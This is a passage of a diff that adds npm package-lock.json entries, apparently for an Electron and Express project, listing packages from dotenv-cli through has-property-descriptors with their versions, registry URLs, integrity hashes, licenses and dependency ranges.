"sha512-zIHwmZPRshsCdpMDyVsqGmgyP0yT8GAgXUnkdAoJisxvf33k7yO6OuoKmcTGuXPWSsm8Oh88nZicRLA9Y0rUeA==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "dotenv": "^16.4.5" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/duplexer2": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/duplexer2/-/duplexer2-0.1.4.tgz", + "integrity": "sha512-asLFVfWWtJ90ZyOUHMqk7/S2w2guQKxUI2itj3d92ADHhxUSbCMGi1f1cBcJ7xM1To+pE/Khbwo1yuNbMEPKeA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "readable-stream": "^2.0.2" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/ejs": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz", + "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/electron": { + "version": "44.7.0", + "resolved": "https://registry.npmjs.org/electron/-/electron-44.7.0.tgz", + "integrity": "sha512-aUq9/zLAAFYc+a9gy6cd0C3Y/N/RmovLCD8TV8LhIzNhuND6HEgsu96jJz9cbAxvckSPv+Trf2PKEjktoZgFkw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@electron-internal/extract-zip": "^1.0.1", + "@electron/get": "^5.0.0", + "@types/node": "^24.9.0" + }, + "bin": { + "electron": "cli.js", + "install-electron": "install.js" + }, + "engines": { + "node": ">= 22.12.0" + } + }, + "node_modules/electron-builder": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/electron-builder/-/electron-builder-26.15.3.tgz", + "integrity": "sha512-a1KM5heqS3gQCZzizXEI8RjJy3QVogULPdeSknt76uLDpBIW/HDGsMg/XgP0riP6PI9COsRvFITKKGDqA8fJxA==", + "dev": true, + "license": "MIT", + "dependencies": { + "app-builder-lib": "26.15.3", + "builder-util": "26.15.3", + "builder-util-runtime": "9.7.0", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "dmg-builder": "26.15.3", + "fs-extra": "^10.1.0", + "lazy-val": "^1.0.5", + "simple-update-notifier": "2.0.0", + "yargs": "^17.6.2" + }, + "bin": { + "electron-builder": "cli.js", + "install-app-deps": "install-app-deps.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/electron-builder-squirrel-windows": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/electron-builder-squirrel-windows/-/electron-builder-squirrel-windows-26.15.3.tgz", + "integrity": "sha512-Jc19XPV9y9+2bAdZPkXuVNGNIEFBq9poHC61l8Kv6FdK7DRG3+Ic0rerC0DXOaeHNz8yW0fg/JnF8GQROOF5MA==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "app-builder-lib": "26.15.3", + "builder-util": "26.15.3", + "electron-winstaller": "5.4.0" + } + }, + "node_modules/electron-publish": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/electron-publish/-/electron-publish-26.15.3.tgz", + "integrity": "sha512-g/2bn8YTavY4cuS5F+jOS7zmZbXXBV8KZ8yHKfJjFPoKtzBqrpCdNPxBd3tqdBwP7BVd0lGzf7Bk2s0KesWZ4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/fs-extra": "^9.0.11", + "aws4": "^1.13.2", + "builder-util": "26.15.3", + "builder-util-runtime": "9.7.0", + "chalk": "^4.1.2", + "form-data": "^4.0.5", + "fs-extra": "^10.1.0", + "lazy-val": "^1.0.5", + "mime": "^2.5.2" + } + }, + "node_modules/electron-winstaller": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/electron-winstaller/-/electron-winstaller-5.4.0.tgz", + "integrity": "sha512-bO3y10YikuUwUuDUQRM4KfwNkKhnpVO7IPdbsrejwN9/AABJzzTQ4GeHwyzNSrVO+tEH3/Np255a3sVZpZDjvg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "peer": true, + "dependencies": { + "@electron/asar": "^3.2.1", + "debug": "^4.1.1", + "fs-extra": "^7.0.1", + "lodash": "^4.17.21", + "temp": "^0.9.0" + }, + "engines": { + "node": ">=8.0.0" + }, + "optionalDependencies": { + "@electron/windows-sign": "^1.1.2" + } + }, + "node_modules/electron-winstaller/node_modules/fs-extra": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz", + "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/electron-winstaller/node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", + "dev": true, + "license": "MIT", + "peer": true, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/electron-winstaller/node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true, + "license": "MIT", + "peer": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", + "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", + "dev": true, + "license": "MIT", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/env-paths": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-3.0.0.tgz", + "integrity": "sha512-dtJUTepzMW3Lm/NPxRf3wP4642UWhjL2sQxc+ym2YMj1m/H2zDNQOlezafzkHwn6sMstjHTwG6iQQsctDW/b1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/err-code": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", + "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-3.0.3.tgz", + "integrity": "sha512-yWGe1O/j+almnV4hOYrmZo8u58JdnmXEMneRQAYkWtqSiT86yoMIEKF4rpqEDj52tbYl3xceBD3DQIBwcsC9Pw==", + "license": "MIT" + }, + "node_modules/es-object-atoms": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", + "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es6-error": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", + "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/exponential-backoff": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/exponential-backoff/-/exponential-backoff-3.1.3.tgz", + "integrity": "sha512-ZgEeZXj30q+I0EN+CbSSpIyPaJ5HVQD18Z1m+u1FXbAeT94mr1zw50q4q6jiiC447Nl/YTcIYSAftiGqetwXCA==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/express": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/express/-/express-5.3.0.tgz", + "integrity": "sha512-qCqy1xSoaugxOD4IVHb1ZWdkvCF2W3aE2okKouWj8VwJ+ztskSiXoBnCSJqfKT+cVPJhuJqe9YLbY425+Zh00g==", + "license": "MIT", + "dependencies": { + "accepts": "^2.0.0", + "body-parser": "^2.3.0", + "content-disposition": "^2.0.1", + "content-type": "^2.0.0", + "cookie": "^0.7.1", + "cookie-signature": "^1.2.1", + "debug": "^4.4.0", + "depd": "^2.0.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "finalhandler": "^2.1.0", + "fresh": "^2.0.0", + "http-errors": "^2.0.0", + "merge-descriptors": "^2.0.0", + "mime-types": "^3.0.0", + "on-finished": "^2.4.1", + "once": "^1.4.0", + "parseurl": "^1.3.3", + "proxy-addr": "^2.0.8", + "qs": "^6.16.0", + "range-parser": "^1.2.1", + "router": "^2.2.0", + "send": "^1.1.0", + "serve-static": "^2.2.0", + "statuses": "^2.0.1", + "type-is": "^2.1.0", + "vary": "^1.1.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-uri": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.8.tgz", + "integrity": "sha512-GZMtZUTNRpOVIECoXwLNZS5xUGE+mVNbTB8h/7Rwh2TFWcBQiPzTgyZi05BF9UMZKkLJv8XBRJTlU7zg8+ZfMg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/filelist": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.6.tgz", + "integrity": "sha512-5giy2PkLYY1cP39p17Ech+2xlpTRL9HLspOfEgm0L6CwBXBTgsK5ou0JtzYuepxkaQ/tvhCFIJ5uXo0OrM2DxA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/filelist/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/filelist/node_modules/brace-expansion": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.7.tgz", + "integrity": "sha512-uZbew1NqdmPDTMJ8ah1y+b+9QEJrfkXFk3RcTQw3X0jW/xRUvFKsg1CfQdSYGdTbXZWExtU3J3ccxtnfw1Fi0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/filelist/node_modules/minimatch": { + "version": "5.1.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.9.tgz", + "integrity": "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/finalhandler": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", + "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "on-finished": "^2.4.1", + "parseurl": "^1.3.3", + "statuses": "^2.0.1" + }, + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/form-data": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", + "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.4", + "mime-types": "^2.1.35" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/form-data/node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/form-data/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", + "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true, + "license": "ISC" + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/glob/node_modules/brace-expansion": { + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", + "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/glob/node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/global-agent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-3.0.0.tgz", + "integrity": "sha512-PT6XReJ+D07JvGoxQMkT6qji/jVNfX/h364XHZOWeRzy64sSFr+xJ5OX7LI3b4MPQzdL4H8Y8M0xzPpsVMwA8Q==", + "dev": true, + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "boolean": "^3.0.1", + "es6-error": "^4.1.1", + "matcher": "^3.0.0", + "roarr": "^2.15.3", + "semver": "^7.3.2", + "serialize-error": "^7.0.1" + }, + "engines": { + "node": ">=10.0" + } + }, + "node_modules/globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "define-properties": "^1.2.1", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/got": { + "version": "11.8.6", + "resolved": "https://registry.npmjs.org/got/-/got-11.8.6.tgz", + "integrity": "sha512-6tfZ91bOr7bOXnK7PRDCGBLa1H4U080YHNaAQ2KsMGlLEzRbk44nsZF2E1IeRc3vtJHPVbKCYgdFbaGO2ljd8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@sindresorhus/is": "^4.0.0", + "@szmarczak/http-timer": "^4.0.5", + "@types/cacheable-request": "^6.0.1", + "@types/responselike": "^1.0.0", + "cacheable-lookup": "^5.0.3", + "cacheable-request": "^7.0.2", + "decompress-response": "^6.0.0", + "http2-wrapper": "^1.0.0-beta.5.2", + "lowercase-keys": "^2.0.0", + "p-cancelable": "^2.0.0", + "responselike": "^2.0.0" + }, + "engines": { + "node": ">=10.19.0" + }, + "funding": { + "url": "https://github.com/sindresorhus/got?sponsor=1" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, 